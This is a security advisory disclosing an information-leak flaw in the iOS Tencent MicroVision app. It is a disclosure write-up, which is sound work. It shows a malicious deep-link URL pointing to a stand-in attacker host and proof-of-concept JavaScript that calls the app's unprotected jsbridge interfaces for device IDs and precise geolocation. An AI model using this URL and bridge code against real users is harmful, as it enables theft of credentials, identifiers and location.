


# An information leak vulnerability in the iOS version of Tencent MicroVision App

## Brief Description

Tencent MicroVision app is a popular short video app, providing functions such as short video watching and short video uploading. It ranks **No.25 in the "Photo & Video" category** list on the App Store of China Area (as of 2025-01-16).



The iOS version of the Tencent MicroVision supports opening web pages from external deep link URL (Scheme). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a **malicious URL (Scheme)**. When clicked by the victim in a browser or another app, the URL (Scheme) can direct the victim to the Tencent MicroVision app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, **obtaining victim's account information and credential** (such as NickName, Avatar, UserID, Cookie, WsToken, OpenID), **obtaining victim's device information** (such as GUID, IDFA, Qimei),

**obtaining victim's geolocation information** (such as precise geolocation, altitude), **reading victim's clipboard** and **interfering with victim's normal use** (such as forcefully logging out victim's account).


## Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL (Scheme) in the following format: **weishi://webview?jump\_url=https://attack.com/attack.html**. Here, "attack.com" represents a domain under the attacker's control.

When the victim clicks on this link, it directs the victim to the Tencent MicroVision app and opens the webpage **https://attack.com/attack.html** within the app.



Within the webpage, the attacker can then invoke privileged interfaces and perform malicious behaviours such as **obtaining victim's account information and credential** (such as NickName, Avatar, UserID, Cookie, WsToken, OpenID), **obtaining victim's device information** (such as GUID, IDFA, Qimei), **obtaining victim's geolocation information** (such as precise geolocation, altitude), **reading victim's clipboard** and **interfering with victim's normal use** (such as forcefully logging out victim's account).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

```

window.cb_getDeviceInfo = function(res){
    var json = res;
    document.getElementById("GUID").innerText = "Your GUID: \n" + json.data.guid;
    document.getElementById("Qimei").innerText = "Your Qimei: \n" + json.data.qimei;
    document.getElementById("KeyChainID").innerText = "Your KeyChainID: \n" + json.data.keyChainID;
    document.getElementById("IDFA").innerText = "Your IDFA: \n" + json.data.idfa;
};
fetchData('jsbridge://device/getDeviceInfo?p={"callback":"cb_getDeviceInfo"}')

window.cb_getLocation = function(res){
    var json = res;
    document.getElementById("PreciseGeolocation").innerText = "Your Precise Geolocation: \n" + " (" + json.
data.longitude + ", " + json.data.latitude + ")";
    document.getElementById("Altitude").innerText = "Your Altitude: " + json.data.altitude;
};
fetchData('jsbridge://sensor/getLocation?p={"callback":"cb_getLocation"}')

```

## Impact of the Vulnerability

**Scope of the vulnerability:** Tencent MicroVision iOS version 8.137.0 (the latest version as of 2025-01-16).

**Consequences of the vulnerability:** Information disclosure.

**Download Link For Affected Application:**

🔗 **CN:**

<https://apps.apple.com/cn/app/%E8%85%BE%E8%AE%AF%E5%BE%AE%E8%A7%86%E7%9F%AD%E8%A7%86%E9%A2%91%E5%88%9B%E4%BD%9C%E4%B8%8E%E5%88%86%E4%BA%AB/id691828408>

🔗 **US:**

<https://apps.apple.com/us/app/%E8%85%BE%E8%AE%AF%E5%BE%AE%E8%A7%86%E7%9F%AD%E8%A7%86%E9%A2%91%E5%88%9B%E4%BD%9C%E4%B8%8E%E5%88%86%E4%BA%AB/id691828408>

## Possible Countermeasures

Should implement more strict domain name checks before the invocation of privileged interfaces.